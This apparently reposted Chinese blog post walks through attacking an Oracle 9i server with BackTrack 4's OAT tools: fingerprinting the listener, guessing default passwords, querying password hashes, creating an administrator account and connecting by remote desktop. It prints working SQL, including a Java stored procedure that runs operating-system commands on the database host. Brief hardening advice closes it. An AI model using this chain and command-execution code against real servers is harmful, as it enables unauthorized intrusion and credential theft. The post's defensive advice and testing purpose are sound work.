BackTrack 4 OAT软件包检测ORACLE服务器安全性!

简介:

这次的内容是用 BackTrack 4 检测ORACLE服务器的安全性。
 

BackTrack 4 整合了很多hack软件,作为测试的一个平台系统,使用BackTrack做各种测试是很方便的。
 

BT4里内嵌了一套针对ORACLE数据库的检测工具集:OAT(Oracle Auditing Tools)

软件地址:http://www.cqure.net/wp/test/

 

当然开始前还需要安装 JAVA 和 ORACLE JDBC下载地址:
Java Runtime Environment
http://www.javasoft.com or your favorite google query

Oracle JDBC Driver (classes111.zip or classes12.zip)
http://www.oracle.com or your favorite google query

准备工作一切就绪,我们开始进行检测~~

一 我们先使用 otnsctl 来看看ORACLE服务器是使用什么操作系统、数据库版本、SID名称及详细的Services服务信息
指令格式:./otnsctl.sh -s ip -I windows
成功连接后会出现tnscmd>提示符,有4项功能:1设置连接监听器的密码 2 查看服务信息 3 SID信息 4 查看数据库版本

现在我们获知这台oracle服务器操作系统是32位WINDOWS,数据库版本是9.2.0.1.0,SID是:STARLIMS。

二 接着使用 opwg.sh 检测用户和口令,看是否存在疏忽遗漏的默认口令。
命令格式:./opwg.sh -s ip

检测出了SID和一个默认用户口令。

三 有了用户口令、SID。就可以用 oquery.sh 执行SQL语句查询。
命令格式:./oquery.sh -s ip -u name -p password -d SID

知道当前用户口令还是DBA权限,GOOD~

四 再要进行深入,用ORACLE客户端连接就简单很多。
命令格式:sqlplus name/password@//ip:1521/SID

用SQL脚本直接执行指令(比起手写输入要省事),查询用户HASH。

最后就是尝试创建管理员用户。

使用rdesktop连接远程桌面。

检测目的达到,由于数据库没有把dbsnmp这个默认用户设置为locked,在基本信息泄露后,通过该用户连接到数据库,导致服务器失陷,如服务器后面还有域的话,
或会被渗透,那对于整个内网来说将会是灾难。

检测结束删除刚才创建的用户,恢复原来状态。

建议不需要listener的就关闭监听。把不使用的默认用户设置LOCKED状态。用户权限要设置清晰,多余权限一律不予分配。
就写到这。由于本人刚开始学习,文中难免有错漏,希望各位见谅,吾还在不断努力学习中。。。 ^-^

PS:贴出文中提到的SQL代码

see.sql

====================================================

select a.username, a.password
from sys.dba_users a left outer join sys.dba_users b on
b.username = a.username
;

====================================================

java.sql

====================================================

 

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer

, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
exec :x:=run_cmz('net1 user');

 


本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/638582,如需转载请自行联系原作者


相关文章
|
2月前
|
存储 弹性计算 安全
带你读《从基础到应用云上安全航行指南》——九大提升ECS实例操作系统安全性的技巧(1)
带你读《从基础到应用云上安全航行指南》——九大提升ECS实例操作系统安全性的技巧(1)
335 1
|
3月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
4月前
|
云安全 弹性计算 运维
带你读《云上自动化运维宝典》——最佳实践分享:如何体系化提升ECS安全性(3)
带你读《云上自动化运维宝典》——最佳实践分享:如何体系化提升ECS安全性(3)
214 1
|
2月前
|
存储 弹性计算 安全
带你读《从基础到应用云上安全航行指南》——九大提升ECS实例操作系统安全性的技巧(2)
带你读《从基础到应用云上安全航行指南》——九大提升ECS实例操作系统安全性的技巧(2)
664 1
带你读《从基础到应用云上安全航行指南》——九大提升ECS实例操作系统安全性的技巧(2)
|
30天前
|
SQL 关系型数据库 数据库
OceanBase数据库常见问题之OAT添加服务器预检查的时候报错如何解决
OceanBase 是一款由阿里巴巴集团研发的企业级分布式关系型数据库,它具有高可用、高性能、可水平扩展等特点。以下是OceanBase 数据库使用过程中可能遇到的一些常见问题及其解答的汇总,以帮助用户更好地理解和使用这款数据库产品。
|
1月前
|
Oracle 关系型数据库 Linux
服务器Centos7 静默安装Oracle Database 12.2
服务器Centos7 静默安装Oracle Database 12.2
86 0
|
1月前
|
人工智能 安全 Linux
在云智融合浪潮下,服务器操作系统产业的未来发展将更加注重性能、安全性、稳定性
在云智融合浪潮下,服务器操作系统产业的未来发展将更加注重性能、安全性、稳定性以及对于AI和云计算的支持【2月更文挑战第21天】
22 4
|
1月前
|
存储 弹性计算 安全
云服务器ECS的云上安全性
云服务器ECS的云上安全性是阿里云和客户的共同责任
28 3
|
2月前
|
弹性计算 运维 监控
带你读《从基础到应用云上安全航行指南》——九大提升ECS实例操作系统安全性的技巧(3)
带你读《从基础到应用云上安全航行指南》——九大提升ECS实例操作系统安全性的技巧(3)
340 1
|
2月前
|
弹性计算 运维 安全
最佳实践分享,如何体系化提升ECS安全性
阿里云弹性计算团队十三位产品专家和技术专家共同分享云上运维深度实践,详细阐述如何利用CloudOps工具实现运维提效、弹性降本。
129031 88
最佳实践分享,如何体系化提升ECS安全性

推荐镜像

更多